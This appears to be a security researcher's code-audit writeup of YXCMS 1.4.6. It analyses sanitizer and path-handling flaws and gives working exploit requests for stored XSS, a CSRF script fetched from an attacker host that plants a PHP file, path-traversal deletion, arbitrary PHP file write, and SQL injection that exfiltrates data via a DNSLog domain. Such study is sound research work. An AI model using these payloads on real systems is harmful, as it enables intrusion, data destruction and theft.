Security Research

Code Audit: YXCMS 1.4.6 Vulnerability Collection

#Web Security#Code Audit#SQL Injection
Dark dossier-style cover with copper-orange fractured chain links and cracked digital interface layers, multiple attack surfaces splitting open across the CMS — symbolizing the chained exploitation of YXCMS injection points and file-operation flaws

Background

I had dug up a few YXCMS vulnerabilities before, mostly in the backend. A few days earlier a researcher posted on the Xianzhi forum about a stored XSS in the front-end combined with session fixation (see xianzhi.aliyun.com/forum/topic/2025, original link now dead) — different approach from mine. I used array parameters combined with a regex bypass to write arbitrary JS without limit on the front-end, then chained CSRF to drop a shell directly. This writeup collects that chain along with the backend issues I had accumulated (arbitrary file deletion, file write, SQL injection) — mostly for learning and discussion. Some of the backend bugs have limited practical value; the SQL injection, for instance, is redundant since the backend already exposes a SQL execution feature.

Official site: http://www.yxcms.net/ (no longer reachable; YXCMS is long unmaintained)

Stored XSS

Vulnerability Analysis

The vulnerable file is protected/apps/default/controller/columnController.php. The front-end guestbook goes through case 6, which calls the extend method. Lines 377-384 contain the key logic: the tableinfo field name of guestbook is used as the POST parameter name. If the value is an array, it gets split and passed through in() and deletehtml() in sequence; if it’s a string, it goes straight into html_in().

The tableinfo for guestbook is fetched from yx_extend. First YXCMS queries yx_sort for the extendid, then pulls the form definition with id='12' OR pid='12':

-- First: guestbook's extendid
SELECT id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid
FROM yx_sort WHERE ename='guestbook' LIMIT 1;

-- Then: form field definitions
SELECT id,tableinfo,name,type,defvalue FROM yx_extend
WHERE id='12' OR pid='12' ORDER BY pid,norder DESC;

My bypass exploits the “array → deletehtml” branch. Tracing into deletehtml (in protected/include/lib/common.function.php), the regex replacement strips <script> tags and any fully-closed <> tags, then html_entity_decode restores certain entities back to their original characters. So %26gt; (URL-encoded &gt;) slips past the regex:

// deletehtml core logic (simplified)
// 1. Strip fully closed <script>...</script> and <tag>
// 2. html_entity_decode to restore entities
// Input: <script%26gt;alert(1)</script%26gt;
//   → Step 1: no match (%26gt; is not a closing >)
//   → Step 2: restored to <script>alert(1)</script>
//   → Then in()'s htmlspecialchars entity-encodes it, but the structure survives intact

XSS input handling

The output side lives in protected/apps/admin/controller/extendfieldController.php, in the guestbook list. Template rendering goes through cpTemplate::displaycompile. The compiled template calls html_out, which in turn applies htmlspecialchars_decode, html_entity_decode, and stripslashes — three restores that exactly undo the entity encoding applied at insert time, returning the JS to its original form.

// protected/include/lib/common.function.php lines 126-131
function html_out($str){
    $str = htmlspecialchars_decode($str);
    $str = html_entity_decode($str);
    $str = stripslashes($str);
    return $str;
}

XSS output restore

Reproduction

Pass the JS as an array (note tname[] — array form triggers the deletehtml branch):

POST /index.php?r=default/column/index&col=guestbook HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4vjcrvu6keqtmr9jj4d95kpaq0

tname[]=joe<script%26gt;alert(1)</script%26gt;&tel=18988888888&qq=balabalba&content=asdasdasd&checkcode=6857&__hash__=7c337b66d36c2cff79faaa48201ba66b_89efI8f3lBwpIQ%2BPtjlL52Ml4DFXLp5Fd0RAYVbXqSik2bsNwm1XYCE

The admin triggers the XSS by viewing the guestbook list:

GET /index.php?r=admin/extendfield/meslist&id=12 HTTP/1.1

Chaining CSRF for RCE

Since all filters are bypassed, arbitrary JS can be written. The Xianzhi writeup used a pseudo-XSS with session fixation; I went straight to XMLHttpRequest against the backend template-write endpoint (admin/set/tpadd). The JS reads the __hash__ token from the DOM and submits it, generating evil.php:

// evil.js (hosted on attacker's machine)
var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("POST","/index.php?r=admin/set/tpadd&Mname=default",true);
xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
// code = URL-encoded <?php phpinfo(); ?>
xmlhttp1.send("filename=evil&code=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&__hash__="+document.getElementsByName("__hash__")[0].content);

The front-end guestbook carries <script src=http://www.balabala.com/evil.js>. When the admin views the message, the browser fetches evil.js and fires the CSRF, which creates protected/apps/default/view/default/evil.php — shell dropped.

Arbitrary File and Directory Deletion

The flaw is in protected/apps/admin/controller/filesController.php lines 52-61. The file path $dirs concatenates in($_GET['fname']). Lines 57-59 then dispatch: if it’s a directory, call del_dir; if it’s a file, call unlink.

Tracing into in() (common.function.php lines 8-23), it only applies htmlspecialchars and addslashesno handling of ../. Tracing into del_dir (lines 421-436), the logic recursively deletes every file inside the directory, then the directory itself. Once the path is controllable, that’s arbitrary file/directory deletion.

File and directory deletion vulnerability

GET /index.php?r=admin/files/del&fname=,../1.txt HTTP/1.1
Host: 127.0.0.1
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2

If the target is a directory, the entire directory gets emptied recursively and then removed — far more destructive than a single file delete.

Arbitrary File Deletion

A second, independent arbitrary file deletion lives in protected/apps/admin/controller/linkController.php lines 90-94. When editing a friendly link, if $_POST['oldpicture'] is non-empty, it’s concatenated with the upload path and passed straight to unlinkno sanitization at all, not even in().

Reproduction: in the backend, edit any link under “Content Management → Link List” and change the oldpicture parameter to the relative path of the target file (e.g. ../../test.txt). This one is more “naked” than the previous, but it requires backend access.

File Write Vulnerability

The tpadd method in protected/apps/admin/controller/setController.php (lines 140-161) calls file_put_contents directly. Both the filename and code parameters are unsanitized, and the extension is hardcoded to .php — effectively arbitrary PHP file write in the backend. The tpedit method in the same file has the same issue.

File write vulnerability

POST /index.php?r=admin/set/tpadd&Mname=default HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2

filename=evil&code=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&__hash__=a68c4298ea89667cee4744db6ecba878_250cIYFldqtRr6mAExOK0F%2FLl0HqXu6HdtoIYL%2FaC4q4WyT3CzrTnNxz

After the write, visit http://127.0.0.1/protected/apps/default/view/default/evil.php to execute it.

SQL Injection

The flaw is in protected/apps/admin/controller/fragmentController.php lines 63-76. implode converts $_POST['delid'] into a string, which is then passed straight into the delete method. Tracing delete_parseConditionparseCondition (cpMysql.class.php lines 128-158): when the input is a string, it’s concatenated directly; when it’s an array, each element goes through escape (backed by mysql_real_escape_string).

// cpMysql.class.php parseCondition (simplified)
if (is_string($data)) {
    // Concatenated directly into SQL, no escaping
    $condition .= $data;
} elseif (is_array($data)) {
    // Each element escaped, structure preserved
    foreach ($data as $v) { $condition .= escape($v); }
}

But delid[] becomes a string after implode — bypassing the array branch’s escape. Add to that the fact that delid is a numeric context (WHERE id IN (...)), where mysql_real_escape_string is useless anyway, and the injection is wide open.

SQL injection vulnerable code

Reproduction: in the backend “Fragment List,” trigger a delete and replace delid[] with a subquery that exfiltrates data via DNSLog (this returns the database name yxcms):

POST /index.php?r=admin/fragment/del HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2

delid%5B%5D=select LOAD_FILE((CONCAT('\\\\',(SELECT DATABASE()),'.8571e594.2m1.pw\\abc')))&__hash__=529fbedab8a7b8a3f3f5a0f394f51cf2_08ebfXTKPoKd0tX4iq+aFMwhq5QkkRGC/NfUu/Ny83+UmU8u0MoCIj8

Final Thoughts

YXCMS 1.4.6 is a microcosm of the typical flaws in 2010s-era Chinese PHP CMSes: self-contradictory sanitizers (strip then restore), path validation relying on addslashes as a “general-purpose cleaner” while ignoring ../, file-write endpoints trusting backend access blindly, and SQL filters that fail after data-shape conversion. Each bug in isolation looks like a “low-severity backend issue,” but the front-end guestbook stored XSS is the fuse that strings them all into a full anonymous RCE chain.

Looking back, the start of the chain is the symmetric “clean + restore” pair in deletehtml — the input side pretends to filter, the output side restores, and the two cancel out. Once a consistency gap exists, the attacker only needs to find one input that makes the two sides asymmetric (here, %26gt;) and the whole defense collapses. That’s the signal I look for most in code audits: wherever sanitization and restoration coexist, an asymmetric window almost certainly exists between them.

Note: YXCMS is long unmaintained and the official domain yxcms.net is unreachable. This writeup is for historical audit review and technical learning only — do not test against systems you don’t own. The Xianzhi forum link (xianzhi.aliyun.com) is also dead.